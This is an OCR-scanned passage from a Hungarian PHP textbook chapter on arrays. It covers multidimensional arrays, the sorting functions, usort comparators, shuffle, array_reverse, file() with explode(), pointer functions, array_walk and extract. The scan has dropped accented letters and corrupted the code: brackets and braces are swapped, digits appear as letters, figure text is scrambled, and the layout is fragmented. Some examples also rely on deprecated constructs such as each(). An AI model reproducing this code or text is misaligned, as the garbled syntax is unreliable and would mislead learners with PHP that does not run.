Ez a tmb egyszerbben kezelhet, ha egyetlen rtket szeretnnk visszakeresni. Knnyebb megjegyezni, hogy a megne vezst a "Megnevezs" oszlopban troljuk, mintsem azt, hogy az l. oszlopban. Ha beszdes nev indexeket hasznlunk, nem szksges megjegyezni, hogy egy adott elemet az [xJ [yJ helyen trolunk. Knnyedn megtalljuk a keresett adatot, ha rtelmes sor- s oszlopnevekkel hivatkezunk a trolsi helyre.

Tmbk hasznlata

61

Ezzel azonban elvesztjk annak lehetsgt, hogy egyszer for ciklussal egyenknt vgiglpdeljnk az oszlopokon. Nz zk meg e tmb megjelentsnek egy lehetsges mdjt:
for ( $sor
=

0; $sor < 3; $sor+ +} {

echo

'l' .$termekek[$sor] [ 'Kod' l.' l' .$termekek[$sor] [ 'Megnevezes']. 'l' .$termekek($sor] ['A r'].'l<br />';

Egy for ciklussal vgiglpkedhetnk a kls, numerikusan indexelt$ termekek tmbn. Ennek a tmbnek minden sora ler nev indexekkel rendelkezik. Egy while ciklusba helyezett each} list(} ( s tmbkn. Ezek szerint egy while ciklusra van szksgnk a for ciklusban:
for ( $sor
=

fUggvnnyel lpkedhetnk vgig a bels

0; $sor < 3; $sor+ +} {


$kulcs, $ertek}
=

while list( (

each(

$termekek[$sor]}}

echo "l$ertek"; echo 'l<br />';

Nem szksges megllnunk kt dimenzinl. Ugyangy, ahogy a tmbelemek tmbket is tartalmazhatnak, ezekbe a tm bkbe is rakharunk jabb tmbket. Egy hromdimenzis tmbnek magassga, szlessge s mlysge is van. Ha a ktdimenzis tmbkre oszlopokbl s so rokbl ll tblzatknt gondolunk, akkor kpzeljk el, ahogy ezeket a tblzatokat egymsra pakoljuk! Az egyes elemekre azok rtege, sora s oszlopa alapjn hivatkozhatunk. Ha Bob kategrikra bontan termkeit, hromdimenzis tmbben trolhatn azokat. A 3.4 bra hromdimenzis tmb ben mutatja a Bob ltal forgalmazott termkeket.

'0

}:J

zo

t ll
l

Teberaut-alkatraak Kd

Kiateheraut-alkalrisulr. Kd

Met!Devez&

l l
r 100 10 4 r

AataJka Megnevez&
Gumiabroncs Olaj Gyerrya

l--ll--lt--

Kd

1[
3.4 bra: A
$kategoriak
=

CAR_TIR CAR_OIL CAR_SPK

termkjellemz

hromdimenzis tmbben mr kategrik szerint is csoportosthatjuk a termkeket.

Az ezt a tmbt meghatroz kdbl lthatjuk, hogy egy hromdimenzis tmb tmbk tmbjt tartalmazza:
array( array ( array( array( array( } array ( ' array( array( array( } ' array ( array( array( array( 'TRK_TIR', 'TRK_ OIL',
'TRK

'CAR_IR', T 'CAR_ OIL', 'CAR_SPK',

'Gumiabroncs', ' laj', O

100} ,

10 } ,
4}

'Gyertya',

'VAN-IR', T 'VAN_ OIL', 'VAN-SPK',

'Gumiabroncs', ' laj', O

120 ) '

12 } ' 'Gyertya', 5} 150} '

'Gumiabroncs', ' laj', O

15} ' 6}

-SPK', 'Gyertya',

} ;

62

3. fejezet

Mivel ez a tmb csak numerikus indexeket tartalmaz, begyazort for ciklusokkal jelenthetjk meg a tartalmr:
for ($reteg = 0; for ($sor = O; for ($oszlop Sreteg < 3; $sor < 3;
=

Sreteg++) {

echo "Rteg $reteg<br />"; $sor++) 0; $oszlop < 3; $oszlop++)

echo 'l' .$kategoriak[$reteg] [$sor] [$oszlop]; echo ' l<br />';

A tbbdimenzis tmbk ltrehozsi mdja lehetv teszi ngy-, t- vagy akr hatdimenzis tmb megalkotst is. A prog ramozsi nyelv szempontjbl nincsen korltja a dimenzik szmnak, m hromnl tbb dimenzij szerkezeteket nehezen rodunk vizulisan magunk el kpzelni. A vals vilgban jelentkez problmk legtbbje hrom vagy kevesebb dimenzival kezelhet.

Tmbk rendezse
Gyakran jl jhet, ha rendezni rodjuk az egy tmbben lev, egymssal sszefgg adatokat. Egydimenzis tmb esetn ezt igen knnyen megtehetjk.

A sort () fiiggvny hasznlata


A sort() fggvnyt bemutat kvetkez kd eredmnye egy bcrend szerint nvekv sorrendben lv tmb:
$termekek
=

array( 'Gyertya',

'Gumiabroncs',

'Olaj ' ) ;

sort($termekek);

A tmb elemei mostantl a Gumiabroncs, Gyertya, Olaj sorrendben jelennek meg. Az rtkeket numerikusan is rendezhetjk. Amennyiben tmbnk Bob termkeinek az rt tartalmazza, a kvetkezkppen rendezhetjk nvekv szmsorrendbe:
$arak = array( 100, sort($arak); 10, 4 );

Az rak ekkor a 4, 10, 100 sorrendben jelennek meg. rdemes megjegyezni, hogy a sort () fggvny megklnbzteti a kis- s nagybetket. A nagyberuk az sszes kisbett megelzik. Vagyis az A a Z eltt van, s a Z is megelzi az a-t. A fggvny egy opcionlis msodik paramterrel is rendelkezik. Az albbi llandk valamelyikt adhatjuk neki: SORT_
REGULAR (ez az alaprtelmezert), SORT_NUMERIC s SORT_STRING. A lehetsg. hogy megadjuk a rendezs tpust, akkor

nyer rtelmet, ha szmokat tartalmaz karakterlncokat- pldul 2 s 12 a 12, de szeringknt a


,

hasonlrunk ssze. A 2 szmszeren kisebb, mint

12 ' megelzi a , 2 '-t.

Tmbk rendezse

a sort

() s ksort () fiiggvnyekkel

Amennyiben jelentssei br kulcsokat hasznl tmbben troljuk el az rucikkeket s azok rt, msmilyen rendez fggvnyt kell vlasztanunk ahhoz, hogy a kulcsok s az rtkek rendezs kzben is egytt maradjanak. A kvetkez kd hrom termket s azok rt tartalmaz tmbt hoz ltre, majd rak szerint nvekv sorrendbe rendezi a tmbt:
$arak = array( 'gumiabroncs'=>lOO, asort($arak); 'olaj '=>10, 'gyertya'=>4 );

Az asort () az elemek rtke szerint rendezi a tmbt. Ebben a tmbben az rak az rtkek, a kulcsok pedig a sz veges lersok. Ha r helyert cikknv szerint kvnunk rendezni, a ksort () fggvnyt hasznljuk, amely az rtk helyert a kulcsot tekinti a rendezs alapjnak. A kvetkez kd eredmnyeknt a tmb kulcsai lesznek bcrend szerint rendezve Gumiabroncs, ksort($arak); Gyertya, Olaj: 'olaj '=>10, 'gyertya'=>4 ); $arak = array( 'gumiabroncs'=>100,

Tombk hasznlata

63

Fordtott rendezs
A hrom klnbz rendez fggvny- sort(},asort (} s ksort (} - emelked sorrendbe rendezi a tmbt. Mind egyik fggvnynek ltezik egy prja, amely fordtott sorrend szerint- azaz cskken sorrendbe - rendezi a neki radott tm bt. Ezek neve rsort (}, arsort (} s krsort(}. A fordtott sorrend szerint rendez fggvnyeket az emelked sorrendbe rendez prjukkal egyez mdon hasznljuk. Az
rsort(} fggvny egydimenzis, numetikusan indexelt tmbt rendez cskken sorrendbe. Az arsort (} fggvny az egyes

elemek rtke, a krsort (}pedig az egyes elemek kulcsa alapjn rendezi cskken sorrendbe az egydimenzis tmbket.

Tbbdimenzis tmbk rendezse


Az egynl tbb dimenzis tmbk rendezse, illetve az bcrendrl s a szmsorrendtl eltr elv alapjn trtn rendezs ennl bonyolultabb feladat. A PHP kpes ugyan sszehasonltani kt szmot vagy kt karakterlncot, de tbbdimenzis tmb esetn az egyes elemek maguk is tmbk. A PHP nem tudja, mi alapjn hasonltson ssze kt tmbt, gy mi magunknak kell ellltani az sszehasonltsuk mdszert. A szavak vagy szmok sorrendje az esetek tbbsgben viszonylag magrl rtet d, m sszetettebb objektumok esetn problmsabb vlhat a rendezs.

Felhasznl ltal meghatrozott rendezs


Az albbi kdrszlet a korbban hasznlt ktdimenzis tmb meghatrozsa. A tmb kddal, megnevezssel s rral egytt trolja el a Bob ltal forgalmazott hrom termket:
$termekek
=

array( array( 'TIR', array( array( 'OIL',


'SPK'
,

'Gumiabroncs', 'Olaj',

100 } ,

10 }, 4 } };

'Gyertya',

Ha rendezzk ezt a tmbt, milyen sorrendben jelennek meg az rtkek Mivel tudjuk, mit jelent a tmb tartalma, legalbb ktfle rtelmes sorrend ltezik. Hasznos lehet a termkeket megnevezsk szerint bcrendbe vagy ruk szerint numeriku san rendezni. Mindkt rendezs lehetsges, de az usort(} fggvnyt kell hasznlnunk, s kzlni kell a PHP-vel, hogyan hasonlrsa ssze az elemeket. Ehhez sajt sszehasonlt fggvnyt kell rnunk. A kvetkez kd a tmb msodik oszlopt, a megnevezst hasznlva rendezi bcrendbe tmbnket:
function osszehasonl itas ($x, if ($x[l)
==

$y} l

$y[l)} l
<

return 0; else if

($x[l)

$y[l)}

return -1; else

return l;

usort($termekek,

1 osszehasonli tas 1} ;

A knyv eddigi rszben szmos beptett PHP fggvnyt hvtunk meg. Tmbnk rendezshez definilnunk kell sajt fggvnynket. A fggvnyrssal rszletesen foglalkozunk majd aKdok ben, ezrt tekintsk az albbiakat pusztn rvid bevezetsnek! Fggvnyt a function kulcsszval definilunk. rdemes fggvnyeinknek rtelmes nevet adni, jelen esetben nevezzk pldul osszehasonl itas(} -nak! A fggvnyek tbbsge paramterrel mkdik. Ez az osszehasonli tas(} fggvny kt paramtert fogad: az egyiknek $x, a msiknak $y a neve. A fggvny clja nem ms, mint hogy vesz kt rtket, s megha trozza sorrendjket. Pldnkban az $x s az $y a f tmbn belli kt tmb, amely egy-egy termket jelkpez. Az $x tmb Megnevezes ele mr az $x[l) kddal rjk el, hiszen a Megnevezes a tmb msodik eleme, a szmozs pedig nullval kezddik. Az $x[l) s $y [l) kifejezsekkel sszehasonlthatjuk a fggvnynek a tmb ltal radott megnevezseket. Amikor a fggvny vget r, vlaszt ad az t meghv kdnak. Ezt nevezzk a fggvny hoz a return kulcsszt hasznljuk a fggvnyben. A return l;

tbbszrifelhasznlsa s fggvnyrs cm 5. fejezet

visszatrsi rtknek. Meghatrozs

sor az l-es rtket adja vissza a fggvnyt meghv kdnak.

Ahhoz, hogy az usort(} hasznlhassa, az osszehasonlitas(} fggvnynek ssze kell hasonltania $x-et s $y-t. A fggvny visszatrsi rtke O legyen akkor, ha $x s $y egyenl, negatv szm, ha $x a kisebb, s pozitv, amennyiben az a nagyobb. A fggvny visszatrsi rtke $x s $y rtktl fgg en O, l vagy -l.

64

3. fejezet

A kd utols sora az usort () beptert fggvnyt hvja meg, paramterknt a rendezni kvnt tmbt ( Stermekek) s az sszehasonlt fggvnyt ( osszehasonlitas ())tadva neki. Ha mshogyan szeremnk rendezni a tmbt, egyszeren msmilyen sszehasonlt fggvnyt runk neki. r szerinti ren dezshez a tmb harmadik oszlopt kell venni, s az albbi sszehasonlt fggvnyt kell megrni:
function osszehasonlitas($x, if ($x[2]
==

$y)

$y[2])

return 0; else if ($x[2] return -l; else { return l;


<

$y[2])

Meghvsakor az usort($termekek,

'osszehasonl tas') r szerint emelked sorrendbe rendezi a tmbt.

Ha tesztels gyannt Juttatnnk ezeket a kdrszleteket, semmilyen kimenetet nem kapnnk. Ezek a kdok egy nagyobb programba valk.
Megjegyzs: Az usort () fggvny nevben lev
u

az angol

user, vagyis felhasznl szra utal, jelezvn, hogy hasznlathoz felhasznl

ltal megrt sszehasonlt fggvnyre van szksg. Az asort s ksort fggvny fordtort sorrend szerint rendez vltozata, az uasort() sazuksort () is ignyli a felhasznl ltal definilt, sszehasonlt fggvnyeket. Az asort() fggvnyhez hasonlan az uasort() fggvnyt is nem numerikusan indexelt tmb rtk szerinti rendezs hez hasznljuk. Az elbbi akkor alkalmazhat, ha az rtkek egyszer szmok vagy szveg. Ha az rtkek sszetertebb objek tumok, pldul tmbk, akkor definiljunk sszehasonlt fggvnyt, majd hasznljuk az uasort () fggvnyt! A ksort () fggvnyhez hasonlan az uk sort () fggvnyt is nem numerikusan indexelt tmb kulcs szerinti rendez shez hasznljuk. Az elbbit akkor vegyk ignybe, ha a kulcsok egyszer szmok vagy szvegek! Ha a kulcsok sszetertebb objektumok, pldul tmbk, akkor definiljunk sszehasonlt fggvnyt, majd hasznljuk az uasort() fggvnyt!

Felhasznli rendezs fordtott sorrendben


A sort(),a sort() s ksort( ) fggvnynek megvan a cskken sorrendbe rendez prja- nevben egy

r betvel. A fel

hasznl ltali rendezseknek nincsen fordtort vltozata, ennek ellenre fordtort sorrendbe is rendezheg k a tbbdimenzis tmbket. Mivel az sszehasonlt fggvnyt mi magunk llig uk el, megrhatjuk gy, hogy ellentert rtkkel trjen vissza. Cskken sorrend szerinti rendezshez fggvnynk visszatrsi rtke akkor legyen l, ha $x kisebb, mint $y, s akkor legyen
- l , ha $x nagyobb, mint $y. Pldul: function fordtott_osszehasonlitas($x, if (Sx[2]
==

$y)

$y[2])

return 0; else if ($x[2] return l; else { return -1;


<

$y[2])

Az usort($termekek,

'ford tott_osszehasonl tas') meghvsa ekkor azt eredmnyezi, hogy a tmb r sze

rint cskken sorrendbe lesz rendezve.

Tmbk trendezse
Elfordulhat, hogy bizonyos alkalmazsokhoz mshogyan szeretnnk kezelni a tmb elemeinek sorrendjt. A shuffle ( ) fggvny vletlenszer sorrendbe rakja a tmbelemeket. Az array_reverse( ) fggvny az eredeti tmb msolatt adja visz sza, amelyben az elemek fordtott sorrendben szerepelnek.

Tombk hasznlata

65

A shuffle ( ) fggvny hasznlata


Bob szereme kiemelni nhny termket honlapjnak nyitoldaln. Szles termkvlasztkot knl, m azt akarja, hogy a nyit

oldalon csak hrom, vletlenszeren kivlasztott elem jelenjen meg. Hogy a trzsvendgeket ne untassa, azt szeretn, hogy ez a hrom kivlasztott termk minden ltogatsnl ms s ms legyen. Cljt egyszeren elrheti, ha termkeit egyetlen tmbbe rakja. A 3.1 pldakd hrom, vletlenszeren kivlasztott kpet jelent meg azzal, hogy vletlenszer sorrendbe rendezi a tm bt, majd megjelenti els hrom elemr.
3.1 pldakd: bob_nyi to_oldala.php -Din amikus nyitoldalltrehozs a PHP-vel Bob al katrsz-kereske ds hez
<?php Skepek array('abroncs.jpg', 'gyujto_gyertya.jpg', 'kormanykerek.jpg', 'ablaktorlo_lapat.jpg', 'fekbetet.jpg'); shuffle ($kepek); ?> <html> <he ad> <title>Bob autalkatrszek</t itle> </head> <body> <hl> Bob autalkatrszek</hl> <div align="center"> <table width = 100%> <tr> <?php for ($i = 0; Si < 3; $i++) { echo "<td align=\"center\"><img src=\""; echo $kepek[$i]; echo "\"/></td>"; ?> </tr> </table> </div> </body>

Mivel a kd vletlenszeren vlaszt kpeket, szinte minden egyes betltskor ms s ms oldalt ltunk (3.5 bra).

Bob autalkatrszek

9--3.5 bra: A shuffle()fggvnnyellehetv vlik, hogyki emeljnkhrom, vletlenszeren kvlasz ott t ermket. i t

66

3. fejezet

Az array_reverse ( ) fggvny hasznlata


Az array_reverse() fggvny fogja az adott tmbt, s ugyanazzal a tartalommal, m az elemeket fordtott sorrendbe rakva ltrehoz egy jat. Tbbflekppen lltharunk el pldul egy 10-tl l-ig val visszaszmllst tartalmaz tmbt. A range() hasznlata ltalban emelked sorrendet eredmnyez, amit az array_reverse () vagy az rsort( ) fgg vnnyel rendezhetnk fordtort sorrendbe. A tmbt elemenknt is elllthatjuk for ciklus segtsgve!:
$szamok = array(); for($i=10; $i>O; $i--)

{
$i);

array_push($szamok,

A for ciklus a kvetkezkppen eredmnyezhet cskken sorrendet: megadunk egy nagy kezdeti rtket, majd a ciklus minden egyes lefutsnak vgn eggyel cskkentjk a -- mveleti jellel. Irt ltrehozunk egy res tmbt, majd az elemeket az array_push() fggvnnyel hozzadjuk a rmbhz, mindegyiket annak vghez. (Zrjelben jegyezzk meg, hogy az array_push () ellentte az array _pop () fggvny. Ez a fggvny elt voltja az adort tmb vgn lv elemet, s visszatrsi rtke is ez az eltvoltort elem lesz.) Hasznlhatjuk az array_reverse( ) fggvnyt is, amivel megfordthatjuk a range() fggvnnyel ltrehozort tmbben az elemek sorrendjt:
$szamok = range(l,lO); $szamok = array_reverse($szamok);

Ne feledjk, hogy az array_reverse ( ) a tmb mdosrott msolatval tr vissza! Ha nincsen szksgnk az eredeti tmbre, mint ahogy az a pldban is volt, akkor a msolarot egyszeren rjuk az eredetibel Ha adaraink egyszeren egsz szmok egy tartomnya, akkor fordtort sorrendben gy llthatjuk ket el, ha a r ange () opcionlis lpskz-paramternek a -l-et adjuk meg.
$szamok = range(lO, l, -1);

Tombk feltltse fjlokbl


Az Adatok trolsa s visszakeresse cm 2. fejezetben megtanultuk, hogyan troljuk az gyfelek megrendelseit fjlban. Ennek az llomnynak minden sora a kvetkezhz hasonlan nzert ki:
15:42, 20th April 4 gumiabroncs

l olaj

6 gyertya $434,00 22 Short St,

Smalltown

A megrendels feldolgozshoz vagy teljestshez szksg lehet arra, hogy visszatltsk egy tmbbe. A 3.2 pldakd a meg rendelsi fjl jelenleg vltozatt mutatja.
3.2 pldakd: rendelesek_megtekintese. php-Bob
<?php //rvid vltoznevek ltrehozsa $DOCUMENT_ROOT
=

megrendelseinek megjelentse PHP-vel

$ SERVER['DOCUMENT_ROOT');

$rendelesek= file("$DOCUMENT_ROOT/../rendelesek/rendelesek.txt"); $rendelesek_szama = count($rendelesek); if ($rendelesek szama Krjk, 0)

==

echo "<p><strong>Nincs fligg6 megrendels. prblkozzon ks6bb!</strong></p>";

for ($i=O;

$i<$rendelesek_szama;

$i++)

echo $rendelesek[$i) ."<br />";

Ez a kd majdnem teljesen ugyanazt a kimeneter produklja, mint az elz fejezer 2.3-as pldakdja (kimenete a 2.4 brn volt lthat). Ez alkalommal a kd a file() fggvnyt hasznlja, ami a reljes fjlt egy tmbbe rlri be. A fjl minden egyes sora a tmb egy-egy eleme lesz. A kd a count() fggvny hasznlarval llaptja meg, hogy hny elembl ll a tmb.

Tmbk hasznlata

67

A megrendelsi sorok egyes rszeit elklntve is betlthetjk a fjlt, kln tmbelemekbe helyezve a tartalmat. Ez lehetv

teszi az egyes rszek elklntett feldolgozst, illetve tetszetsebb formzst. A 3.3 pldakd pontosan ezt vgzi el.
3.3 pldakd: rendelesek_megtekintese2.php-Bob megrendelseinek elklntse,formzsa s megjelentse PHP-vel
<?php //rvid vltoznevek ltrehozsa $DOCUMENT_ROOT ?> <html> <he ad> <title>Bob autalkatrszek - Megrendelsek</title> </head> <body> <hl>Bob autalkatrszek</hl> <h2> Megrendelsek</h2> <?php //A teljes fjl beolvassa. //Minden megrendels a tmb egy-egy eleme lesz. Srendelesek= file("$DOCUMENT_ROOT/../rendelesek/rendelesek.txt");
=

S_SERVER['DOCUMENT_ROOT');

J'

3
\.

ll Megszmolja a tmbben lev rendelseket.


$rendelesek_szama
=

count($rendelesek);

if ($rendelesek_szama Krjk,

==

0)

echo "<p><strong> Nincs fgg rendels. prblkozzon ksbb!</strong></p>";

echo "<table border=\"1\">\n"; echo "<tr><th bgcolor=\"ICCCCFF\">Rendels idpontja</th> <th bgcolor=\"ICCCCFF\">Gumiabroncs</th> <th bgcolor=\"ICCCCFF\">Olaj</th> <th bgcolor=\"ICCCCFF\">Gyertya</th> <th bgcolor=\"ICCCCFF\">Vgsszeg</th> <th bgcolor=\"ICCCCFF\">Szllitsi cim</th> <tr>"; for ($i=O; $i<$rendelesek_szama; Si++)

//Az egyes sarok felbontsa. $sor = explode("\t", $rendelesek[$i));

ll Csak a rendelt elemek mennyisgt tartja meg.


$sor[l) $sor[2) $sor[3) = intval($sor[l)); intval($sor[2]); intval($sor[3]);

ll Minden megrendels megjelenitse.


echo "<tr> <td>".$sor[O] ."</td> <td align=\"right\">".$sor[l) ."</td> <td align=\"right\">".$sor[2)."</td> <td align=\"right\">".$sor[3)."</td> <td align=\"right\">".$sor[4)."</td>

68

3. fejezet

<td>".$sor[5]."<ltd> </tr>";

echo "</table>"; ?> </body>

A 3.3 pldakd a teljes fjlt egy tmbbe tlti be, de a 3.2 pldakddal ellenttben itt az explode () fggvnnyel sztbont juk a sorokat, hogy nyomtats eltt feldolgozzuk s formzzuk tartalmukat. A kd kimenett a 3.6 brn lthaguk.

-:::-"

IIO:rrf _..-
Bob autalkatrszek Meerendelfuk

4l,lla:l001

(;'9-z! ... 4 l ji"JO.liM.do}OOI . ) S04.00o1l5iai.SI.

SIOOJJ01M.ioa.t,

s.u;

ll7 ,A"_St,

3.6 bra: A megrendelsi rekordok explode () f ggvnnyel val sztbontsa utn a megrendelsek minden rszt kln-kln tb lzatcellba helyezve tetszetsebb kimenetet kapunk.

Az explode fggvny az albbi prototpussal rendelkezik:


array explode(string elvalaszto, string szoveg [, int limit])

Az elz fejezetben tabultort hasznlrunk a trolni kvnt adatokat elvlaszt karakterknt, ezrt a kvetkez formban kell meghvni a fggvnyt:
explode( "\t", $rendelesek[$i] )

Ez a kd rszekre bontja a bevitt karakterlncot. A tabultor karakter lesz a szomszdos elemek kztri elvlaszt. Pldul a kvetkez sztringet:
"20:43, 31st March 2008\tO gumiabroncs\t1 olaj\t4 gyertya\t$26,00\t127 Acacia St, Springfield

az albbi rszekre bontja a fggvny:


"20:43, 31st March 2008","0 gumiabroncs","1 olaj","4 gyertya","$26,00" &"127 Acacia St, Springfield".

rdemes megjegyezni, hogy az opcionlislimit paramterrel korltozhaguk a fggvny ltal visszaadott rszek maximlis szmt. Ez a kd nem igazn alkalmas a megrendelsek feldolgozsra. Ahelyett, hogy minden sorba Icirja a gumiabroncsokat, az olajat s a gyertykat, a plda csak megjelenti a rendelsi mennyisgeket, s a tblzat fejlcben tjkoztat arrl, hogy mit je lentenek a szmok. Tbbflekppen Icinyerhetnnk a karakterlncokbl a szmokat. Jelen esetben az intval () fggvnyt vlaszguk erre. Ahogy az l. fejezetben elmondtuk, ez a fggvny egsz szmm alaktja a karakterlncokat. Az talakts kellen intelligens, s figyelmen kvl hagyja azokat a rszeket- gy jelen pldban a cmkt-, amelyeket nem lehet egsz szmm konvertlni. A ka rakterlncok feldolgozsnak klnfle mdjaival a kvetkez fejezetben foglalkozunk majd.

Tovbbi tmbkezelsi eljrsok


Idig a tmbkezel fggvnyek mintegy felvel ismerkedtnk meg. Idrl idre a tbbire is szksgnk lehet, ezrt kzlk a fontosabbakat most bemutaguk.

Tombk hasznlara

69

Tmbn belli nav igls: each (),current (),res et (),end (),next (),pos () s prev () fggvny
Ernlrettk korbban, hogy minden tmb egy bels mutatval {pointer} rendelkezik, amely az aktulis elemre mutat. Korb ban, amikor az each() fggvnnyel dolgoztunk, kzvetve mr hasznltuk ezt a mutatt, m kzvetlenl is kezdhetjk. j tmb ltrehozsakor az aktulis mutat a tmb els elemre mutat. A current($tomb_neve) fggvny meghvsa az els elemmel tr vissza. A next() vagy az ea ch () fggvny meghvsa eggyel elre, a kvetkez elemre lpteti a mutatt. Az each($tomb_
neve) meghvsa a mutat elrelptetse eltt adja vissza az aktulis elemet. A next() fggvny ettl kiss eltren viselke

dik: a next($tomb _neve) elrelpteti a mutatt, majd az j aktulis elemet adja vissza.

Korbban lthattuk, hogy a reset() a tmb els elemre kldi vissza a mutatt. Ennek prja az end($tomb_neve), amelynek meghvsval a tmb vgre kldjk a mutatt. Ennek megfelelen a tmb els, illetve utols elemr a reset() s
end ( ) fggvnnyel kaphatjuk vissza.

Ha fordtva szeretnnk bejrni egy tmbt, az end () s prev () fggvnyt kell hasznlnunk. A prev() fggvny a next( ) ellentettje. Eggyel visszbb lpteti a mutatt, majd ezt az j aktulis elemet adja vissza. A kvetkez kd pldul fordtott sorrendben jelent meg egy tmbt:
$ertek
=

end ($tomb);

while ($ertek) { echo "$ertek<br />"; $ertek


=

prev($tomb);

A $tomb tmbt pldul a kvetkezkppen deklarljuk:


$tomb
=

array(l,

2,

3);

Ebben az esetben a fenti kd bngszbeli kimenere a kvetkez lenne:


3 2

Az each(),current(),reset(),end(),next(),pos () s prev () fggvnnyel tmbjeinket az ltalunk kivnt tet szleges mdon bejr kdot hozharunk ltre.

Fggvny alkalmazsa egy tmb minden egyes elemre: array_walk ()


Elfordulnak olyan helyzetek, amikor egy tmb nnden elemvel ugyangy kvnunk dolgozni, vagy ugyangy mdostannk azokat. Az array_ wa lk() fggvny pontosan ezt teszi lehetv. Prototpusa a kvetkez:
bool array_walk(array tomb, string fuggveny, [mixed felhasznaloi_adat])

A korbban hasznlt usort () fggvnyhez hasonlan az array_walk() is megkveteli, hogy sajt fggvnynket dek larljuk. Lthat, hogy az array_ wa lk() hrom paramtert fogad. Az els, a tomb a feldolgozni kvnt tmb. A msodik,
fuggveny nev paramter a felhasznl ltal definilt fggvny, amit a tmb minden elemre alkalmazni kvnunk. A har

madik, felhasznaloi_adat nev paramter opcionlis. Amennyiben hasznljuk, fggvnynk paramterknt megkapja. Rvidesen ltni fogjuk, mindez hogyan mkdik. A felhasznl ltal definilt gyes kis fggvny lehet olyan, amely a tmb nnden elemr meghatrozott formzssal jelenti meg. A kvetkez kd a felhasznl ltal megrt sa j at_kiiratas () fggvnyt a $tomb minden elemvel meghvva j sor ban jelenti meg az egyes elemeket:
function sajat_kiiratas($ertek) ( echo "$ertek<br />";

a rray_walk ($tomb,

'saJat_kiiratas');

A felhasznl, vagyis a mi magunk ltal rt fggvnynek adott nntt kell kvetnie. A tmb nnden eleme esetn az array_
walk fggvny fogja a tmbben trolt kulcsot s rtket, illetve a felhasznaloi_adat paramterknt ltalunk megadott

valamit, s a kvetkezkppen hvja meg a fggvnyt:


sajat_fuggveny(ertek, kulcs, felhasznaloi_adat)

Fggvnynk az esetek tbbsgben csak a tmbben lev rtkeket fogja felhasznlni. Egyes helyzetek megkvetelherik, hogy a felhaszna l oi_adat paramter segtsgvel valamilyen paramtert acljunk t fggvnynknek. Elfordulhat az is,

70

3. fejezet

hogy az rtk mellett az adott elem kulcsra is szksgnk van. Dnthetnk gy, hogy fggvnynk-a sa j at_ kiiratas () fggvnyhez hasonlan- figyelmen kvl hagyja a kulcsot s a felhas znaloi _adat paramtert. Hogy lssunk egy kicsit sszetettebb pldt, rjunk olyan fggvnyt, amely mdostja a tmbben lv rtkeket, s mkd shez paramtert vr! Br a kulcsra nem lenne szksgnk, a harmadik paramter fogadshoz a kulcsot is fogadnunk kell:
function sajat szorzo fuggveny(&$ertek, $ertek
*=

$kulcs,

$szorzotenyezo) {

$szorzotenyezo;

array_walk(&$array,

'sajat szorzo fuggveny',

3);

A kd definilja a sa j at_szorzo_ fuggveny() fggvnyt, amely a tmb minden elemc megszorozza a megadott szorztnyezvel. Hasznlnunk kell az array_wa lk ( ) harmadik, opcionlis paramtert, hogy az itt megadott rtket pa ramterknt tovbbtsa a fggvnynek, amely szorztnyezknt fogja felhasznlni azt. Mivel szksg van erre a paramterre, gy kell deklarlni a sajat_szorzo_fuggveny () fggvnyt, hogy hrom paramtert fogadjon: a tmb elemnek rtkt

($ertek) , a tmb elemnek kulcst ($kulcs) s a paramtert ($szorzotenyezo) . Aztn persze dnthetnk gy, hogy
a kulccsal nem foglalkozunk.

rdemes felfigyelni az $ertek tadsnak mdjra. A saj at_szorzo_ fuggveny () fggvny deklarlsban a vltoz neve eltti s (&)jel azt jelenti, hogy az $ertek paramter hivatkozsknt addik t. A hivatkozs szerinti tads lehetv te szi, hogy a fggvny mdosthassa a tmb tartalmr. A hivatkozs szerinti paramtertadssal az 5. fejezetben rszletesebben is foglalkozunk. Ha nem ismers szmunkra ez a fogalom, akkor egyelre elg annyit megjegyezni, hogy a hivatkozs szerinti tadshoz s (&)jelet helyeznk a vltoznv el.

Tmbelemek szmllsa: coun t () , si z e of ( ) s ar ra y_coun t_va l u es () fiiggvny


Egy korbbi pldban arra hasznltuk a count ( ) fggvnyt, hogy megszmoljuk a rendelsek tmbjben lev elemeket. A sizeof() fggvny pontosan ugyanezt a clt szolglja. Mindkt fggvny a neki radort tmb elemszmt adja vissza. Az elemszmot ltalnos skalris vltozknt kapjuk vissza, illerve, amennyiben res tmbt vagy egy mg be nem lltott vltozt adunk t a fggvnynek, eredmnyl nullt kapunk. Az array_count_values() fggvny ennl kicsit bonyolultabb. Ha meghvjuk, a fggvny megszmolja, hogy az egyedi rtkek hnyszor fordulnak el a $tomb nev tmbben. (Ezt a tmb szmassgnak nevezzk.)A tmb egy gyakorisgi tb lzatot tartalmaz asszociatv tmbt ad vissza. Ez a tmb kulcsknt tartalmazza a $tomb egyedi rtkeit. Minden kulcshoz egy szmszer rtk tartozik, amely azt kzli, hogy a kulcs hnyszor fordul el a $tomb tmbben. Pldul az albbi kd:
$tomb
=

array(4,

5,

l,

2,

3,

l,

2,

l);

$ac = array_count_values($tomb);

egy $ac nev tmbt hoz ltre, amely a kvetkezket tartalmazza: Kulcs 4 5 l 2 3

rtk
l

3 2 l

Az eredmny tudatja velnk, hogy a 4, az 5 s a 3 egyszer fordul el az $array tmbben, az l hromszor, a 2 pedig ktszer.

Tbk talaktsa skalris vltozkk: extract ()


Amennyiben egy nem numerikasan indexelt tmbben adott szm kulcs-rtk prral tallkozunk, az extract () fggvnnyel skalris vltozk halmazv alakthatjuk ket. A fggvny prototpusa a kvetkez:
extract(array valtozo tomb

[,

1nt extract_tipusa]

[,

string elotagJ

);

Az extract() fggvny clja, hogy fogja a tmbt, s a benne lv kulcsok neveivel skalris vltozkat hozzon ltre. E vl tozk rtknek a tmbben trolt rtkeket rendeli. Nzzk ezt az egyszer pldt:
$tomb
=

array( 'kulcsl'

=>

'ertekl',

'kulcs2'

=>

'ertek2',

'kulcs3'

=>

'ertek3');

extract($tomb); echo "$kulcsl $kulcs2 $kulcs3";

Tmbk hasznlata

71

A kd a kvetkez kimenetet eredmnyezi:


ertekl ertek2 ertek3

A tmb hrom elemmel rendelkezik, ezek kulcsa rendre: kulcsl, kulcs2 s kulcs3. Az extract () fggvny h rom skalris vltozt hoz ltre: $kulcsl, $kulcs2 s $kulcs3. A kimenetbl lthatjuk, hogy a $kulcsl, $kulcs2 s
$kulcs3

rtke rendre 'ertekl ', 'ertek2' s 'ertek3 '.Ezek az rtkek az eredeti tmbbl szrmaznak.

